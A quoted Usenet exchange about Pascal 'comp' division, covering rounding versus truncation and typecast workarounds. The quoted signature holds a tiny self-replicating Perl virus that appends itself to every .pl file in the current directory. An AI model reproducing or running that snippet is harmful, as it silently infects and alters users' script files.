grauezel...@gibts.net wrote:
> h_c...@my-deja.com <h_c...@my-deja.com> schrieb Folgendes:
> > Hi
> > I'm afraid that '/' does not return what is expected, that is if you
> > expect the same result as pascal integer arithmetic!
> > var c: comp;
> > begin
> > c:=20/3;
> > writeln ('c = ',c);
> > end.
> Of course it does not work.
> But try
> c := Comp(20) / Comp(3)
> and it will work!
> > The result is "c = 7.000...E+0000".
> > I've left out some of the zeros. Comp division rounds off the
number, it
> > does not truncate.
> That was not Comp division, that was Extended division done by the
> compiler.
> > Also if you try c:= a - (a/b)*b you will get c=0, (when a,b,c are of
> > type comp). Evidently the compiler optimizes (a/b)*b to a. to get a
> > correct anser do it in two stages.
> > tmp:=a/b;
> > tmp:=a-tmp*b;
> > if tmp < 0
> > then tmp:=b+tmp;
> > result:=tmp;
> Or:
> c := Comp(a) - Comp(Comp(a) / Comp(b)) * Comp(b).
> Then you can remove as many typecasts as you can if it still remains
> working.
> --
> #!/usr/bin/perl -w
> $0=q{$0="\n".'$0=q{'.$0.'};eval$0;'."\n";for(<*.pl>){open
X,">>$_";print
> X$0;close X;}print scalar reverse"\nPR!suriv lreP rehtona
tsuJ"};eval$0;
> ######################## http://learn.to/quote/